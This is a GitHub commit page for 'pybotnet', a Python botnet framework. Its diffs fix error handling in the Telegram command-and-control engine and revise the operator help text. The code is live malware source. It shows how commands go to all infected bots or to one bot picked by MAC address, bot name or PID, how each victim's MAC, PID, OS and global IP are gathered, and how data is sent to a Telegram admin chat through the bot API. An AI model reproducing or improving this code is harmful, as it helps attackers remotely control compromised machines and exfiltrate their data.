Skip to content

Commit

Permalink
Merge pull request #48 from onionj/Fix#47_handle-telegram-Unauthorize…
Browse files Browse the repository at this point in the history
…d-message

fix: fix #47 , Unhandled Exception
  • Loading branch information
onionj authored Jun 8, 2023
2 parents 41ef7bc + d28ef45 commit 0100312
Show file tree
Hide file tree
Showing 3 changed files with 48 additions and 40 deletions.
48 changes: 23 additions & 25 deletions pybotnet/botnet.py
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@
import os

from .context import Context
from .exceptions import UserException, EngineException
from .exceptions import UserException
from .package_info import __version__, __github_link__
from .utils import get_global_ip, get_host_name_ip

Expand Down Expand Up @@ -54,12 +54,7 @@ def __init__(
self.scripts = {}
self._debug = debug
self.__run_time = time.time()
self.__cache = {
"system_info": {
"minimal": {"save_time": None, "data": None},
"full": {"save_time": None, "data": None},
}
}
self.__cache = {}

if self.use_default_scripts:
self.scripts.update(**BotNet.default_scripts)
Expand Down Expand Up @@ -134,39 +129,45 @@ def _help(self, script_name=None) -> str:
# Run a script:
- For all bots:
- On all bots:
`/[SCRIPT-NAME] [params]`
Example:
`/echo hi`
Examples:
`/echo Hi`
`/who`
- For Select specific bot:
+ Option 1:
`[mac-address] /[SCRIPT-NAME] [params]`
Example:
`{str(uuid.getnode())} /echo hi`
`{str(uuid.getnode())} /who`
`{str(uuid.getnode())} /echo Hi`
+ Option 2:
`[BOT-NAME] /[SCRIPT-NAME] [params]`
Example:
`{self.BOT_NAME} /echo hi`
`{self.BOT_NAME} /who`
`{self.BOT_NAME} /echo Hi`
+ Option 3:
`[pid] /[SCRIPT-NAME] [params]`
Example:
`{str(os.getpid())} {self.BOT_NAME} /echo hi`
`{str(os.getpid())} {self.BOT_NAME} /who`
`{str(os.getpid())} /echo Hi`
+ Option 4:
`[mac-address] [pid] /[SCRIPT-NAME] [params]`
Example:
`{str(uuid.getnode())} {str(os.getpid())} /echo hi`
`{str(uuid.getnode())} {str(os.getpid())} /who`
`{str(uuid.getnode())} {str(os.getpid())} /echo Hi`
+ Option 5:
`[mac-address] [BOT-NAME] /[SCRIPT-NAME] [params]`
Example:
`{str(uuid.getnode())} {self.BOT_NAME} /echo hi`
`{str(uuid.getnode())} {self.BOT_NAME} /who`
`{str(uuid.getnode())} {self.BOT_NAME} /echo Hi`
+ Option 6:
`[mac-address] [BOT-NAME] [pid] /[SCRIPT-NAME] [params]`
Example:
`{str(uuid.getnode())} {self.BOT_NAME} {str(os.getpid())} /echo Hi`
# PyBotNet version: {__version__}
Expand Down Expand Up @@ -218,10 +219,10 @@ def system_info(self, minimal=False):
return data

minimal_info = {
"scripts_name": list(self.scripts),
"bot_name": self.BOT_NAME,
"mac_addres": uuid.getnode(),
"pid": os.getpid(),
"bot_name": self.BOT_NAME,
"scripts_name": list(self.scripts),
"os": platform.system(),
"global_ip": get_global_ip(),
}
Expand Down Expand Up @@ -289,9 +290,6 @@ def _main_while(self):

try:
command = self.engine.receive()
except EngineException as e:
_logger.debug(f"Engine[{self.engine}] Error: {e}")
command = False

except Exception as e:
_logger.debug(f"Engine[{self.engine}] Error: {e}")
Expand Down
38 changes: 24 additions & 14 deletions pybotnet/engines/telegram_engine.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,6 @@

from .base_engine import BaseEngine

from ..exceptions import EngineException
from ..utils import proxy, upload_server
import requests

Expand Down Expand Up @@ -46,8 +45,8 @@ def receive(self) -> List[str]:
return False

except Exception as e:
_logger.debug(f"receive: error {e}")
raise EngineException(e)
_logger.debug(f"receive: error {type(e)}:{e}")
return False

def send(
self,
Expand All @@ -60,19 +59,21 @@ def send(

if len(additionalـinfo) > 0:
additionalـinfo_str = ""

for k, v in additionalـinfo.items():
additionalـinfo_str += f"\n{k}: {v}"

additionalـinfo_str += f"\nuse_proxy: {self._use_proxy}"
message = f"{message}\n\n___________________________{additionalـinfo_str}"

message = urllib.parse.quote(message, safe=" ")

res = []
split_message = [] # split message to avoid telegram error
splited_message = [] # split message to avoid telegram error
for i in range(0, len(message), 4096):
split_message.append(message[i : i + 4096])
splited_message.append(message[i : i + 4096])

for msg in split_message:
for msg in splited_message:
try:
api_url = f"https://api.telegram.org/bot{self.token}/SendMessage?chat_id={self.admin_chat_id}&text={msg}"

Expand All @@ -84,8 +85,8 @@ def send(
res.append(self._http_request(method="POST", url=api_url))

except Exception as e:
_logger.debug(f"send: error {e}")
raise EngineException(e)
_logger.debug(f"send: error: {type(e)}:{e}")
return None

return res[0]

Expand Down Expand Up @@ -128,17 +129,26 @@ def _http_request(self, method: str, url: str, timeout=15) -> List[Dict[str, Any
if res == False:
return False

return json.loads(res.replace("edited_message", "message")).get(
"result", False
)
elif "(401) Unauthorized" in str(res):
_logger.debug(f"Invalied Telegram Bot Token <--- Error")
return False

try:
return json.loads(res.replace("edited_message", "message")).get("result", False)
except:
_logger.debug(f"invalied json response: {res}")
return False

def _getme(self):
try:
res = requests.get(
f"https://api.telegram.org/bot{self.token}/getMe", timeout=0.5
)
res = requests.get(f"https://api.telegram.org/bot{self.token}/getMe", timeout=1)

if res.status_code == 200:
return res.json()

elif res.status_code == 401:
_logger.debug(f"getMe: Invalied Telegram Bot Token: <--- Error")

return False

except:
Expand Down
2 changes: 1 addition & 1 deletion pybotnet/package_info.py
Original file line number Diff line number Diff line change
@@ -1,2 +1,2 @@
__version__ = "2.2.3"
__version__ = "2.2.4"
__github_link__ = "https://github.com/onionj/pybotnet"

0 comments on commit 0100312

Please sign in to comment.